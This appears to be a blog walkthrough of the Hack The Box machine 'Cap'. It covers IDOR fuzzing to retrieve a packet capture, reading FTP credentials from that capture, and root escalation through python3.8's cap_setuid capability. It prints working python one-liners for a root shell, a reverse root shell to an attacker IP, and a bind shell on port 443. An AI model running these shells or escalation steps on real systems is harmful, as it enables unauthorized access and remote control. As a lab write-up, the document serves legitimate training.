Cap HTB Walkthrough: PCAP Analysis, Linux Capabilities, and Linux Privilege Escalation

May 23, 2025    #box   #htb   #easy   #linux   #gunicorn   #python   #ftp   #wsgi   #idor   #pcap   #wireshark   #cap   #cap-setuid   #capabilities   #privilege-escalation   #network-analysis  

Cap Hack The Box Walkthrough/Writeup:

How I use variables & Wordlists:

1. Enumeration:

NMAP:

Basic Scans:

Comprehensive Scans:

FTP 21:

Let’s check out FTP first. We can enter anonymous for both the username and password to try and get an anonymous connection but this does not work.

It’s not advisable to just start brute-forcing so let’s take a look at web and enumerate further.

Web 80:

WhatWeb:

Researching Gunicorn Webserver:

As this is the first time I have encountered this specific webserver, let’s take a look and see what we can find.

Looking at the github for the project we can see it’s a Python WSGI HTTP Server & it is a fork of the Ruby project “Unicorn”. So we know the web application running is python based. If you want a primer on WSGI read the side-quest below.

Side Quest: What is a WSGI (Web Server Gateway Interface)?

This is a standard that was defined in PEP 3333 (originally introduced in PEP 333) as a means to create standardized interface to allow for Python web apps to be used in modern web development. WSGI is what allows Apache & NGINX etc to use python web applications as they utilize WSGI.

In simple terms: The interface acts as a bridge between python applications and webservers by handling the HTTP requests & responses. By using a WSGI it allows developers to focus on performance and scalability as there is a separation of the application logic and the webserver logic.

The WSGI (Web Server Gateway Interface) specification acts as a bridge between web servers and Python web applications. It lays out a standard way for the two to communicate, using two main components:

Dirbusting The Webserver Running Using FFUF:

For completeness we should fuzz for other endpoints using FFUF.

ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/combined_directories.txt -u http://$box/FUZZ -ic

Nothing additional found.

Enumerating Injection Points With Burpsuite:

Discovering A User is Logged Into the Web Interface By Default:

Visiting the webserver we can see that the user Nathan is logged in by default and no credentials are required.

Clicking on the “Settings” & “Message” button do not appear to do anything.

Enumerating The Other Pages:

Looking at the other pages on the left hand side we can see we have access to the below:

Side Quest: What is an IDOR Insecure Direct Object Reference Vulnerability?

OWASP has a great explanation, but here’s a brief overview of what IDOR is and an example of how the attack works.

Retrieving PCAP VIA Insecure Direct Object Reference (IDOR) Vulnerability:

Let’s fuzz this with a number list.

First we will need to create a simple sequential number list, luckily we can do this easily with bash using the printf function.

printf '%s\n' {0..1000..1} > numbers.txt

Now we can fuzz using ffuf:

ffuf -w numbers.txt -u http://$box/data/FUZZ -ic -fs 208

+Note+: To get the -fs value you need to let it run a second & then filter out that size.

We get the following output and as we can see they are all the same size apart from the entries 5 & 0.

Examining 5.pcap:

Checking the page /data/5 there are significantly more packets (146) in this capture that the previous one (3), however once opened it just details our traffic.

Examining 0.pcap & finding FTP Credentials:

This pcap has 72 packets in total and when opened we can see it contains internal traffic on the subnet 192.168.196.0/24, most likely from when the person was testing this. What immediately jumps out is that we have FTP traffic present this is important as FTP is clear text so we should be able to retrieve credentials.

Scrolling over to the right we can see the credentials in clear text in the info column.

Lets test the creds nathan:Buck3tH4TF0RM3! on the FTP service.

2. Foothold:

Logging Into FTP As Nathan:

ftp $box

The credentials work!

Checking the contents of the server shows one file user.txt

Let’s download it

Checking it, it just contains our user flag.

Logging Into SSH As Nathan:

Checking for credential use we find that the found creds also work for SSH.

ssh nathan@$box

Using Linpeas For Privesc Enumeration:

We can copy linpeas.sh over easily using a python server.

#Let's grab the script first.
wget https://github.com/peass-ng/PEASS-ng/releases/download/20250518-5781f7e5/linpeas.sh
# Start our server
python3 -m http.server 9000

#Then on the target
wget http://[yourAttackBox]:9000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

There are a couple of interesting finds. We first see that it says the host is vulnerable to CVE-2021-2255 however lets circle back round to this, mainly as it’s kernel exploit and I would prefer not to use a kernel exploit straight away as they can cause instability, so lets look at other privilege escalation vectors.

We can see that the python3.8 binary has the setuid, net_bind & eip capabilities set, now this is interesting!

3. Privilege Escalation:

Side Quest: What are Linux Capabilities and How Can They Lead to Privilege Escalation?

What are Linux Capabilities?

Linux Capabilities allow finer-grained control over what privileges a process can have, breaking up the all-or-nothing nature of traditional Unix root access.

Instead of giving full root privileges, specific capabilities (like binding to privileged ports or overriding file permissions) can be assigned to binaries or processes.

While this enhances security by applying the principle of least privilege, it can also open doors for privilege escalation if:

Key Capabilities and Descriptions:

Capabilities with Root Escalation Potential (+non-exhaustive list — all capabilities should be investigated if found!+)

Enumerating Linux Capabilities:

To identify binaries with Linux capabilities set, we can use the getcap utility:

find /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin -type f -exec getcap {} \;

This will output paths and their associated capabilities, for example:

Additional Reading

Using cap_setuid To Get A root Shell:

As we can see the python3.8 binary has the cap_setuid & the cap_net_bind_service capabilities set. We are going to focus on the cap_setuid capability as this allows us to set the user ID in which the process runs. In English that means we can run the process as root.

Option 1: Launching A Root Shell On The Host:

To do this is very simple all we have to run is the following:

/usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash");'

Let’s break this down so it’s easier for everyone to understand.

And boom we have our root shell.

Let’s get our flag.

Option 2: Launching A Reverse Root Shell:

We can also get a reverse root shell using the same method by setting our uid to the context of the root user and then initiating our reverse shell.

/usr/bin/python3.8 -c 'import os,pty,socket;os.setuid(0);s=socket.socket();s.connect(("10.10.14.34",443));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'

As you can see from the below example the shell on the right hand side is a root shell as we have passed the os.setuid(0) parameter, whereas if this is not entered (shell on left) we just get a reverse shell in the context of the original user who we launched the process, Nathan.

Extra Credit: Creating A Bind Shell On A Privileged Port:

This isn’t meant for privilege escalation, but I wanted to demonstrate what the cap_net_bind_service capability allows us to do. By running a bind shell that listens on port 443 (a privileged port). We can see that it’s possible on this machine because the binary has the cap_net_bind_service capability, which permits binding to ports below 1024 without root privileges.

/usr/python3.8 -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",443));s1.listen(1);c,a=s1.accept();
while True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'

Lessons Learned:

What did I learn?

  1. This was just a nice enumeration box. I haven’t done an IDOR vulnerability in sometime so it was nice to do again.
  2. This also helped me brush up on linux capabilities which I have not done in a while too.

What silly mistakes did I make?

  1. I nearly wrote off the capture page as it did not work in burpsuite’s browser, however luckily I re-tested in firefox.

Sign off:

Remember, folks as always: with great power comes great pwnage. Use this knowledge wisely, and always stay on the right side of the law!

Until next time, hack the planet!

– Bloodstiller

– Get in touch bloodstiller at bloodstiller dot com



Next: LinkVortex HTB Walkthrough: Ghost CMS, Git Dumping, and TOCTOU Exploitation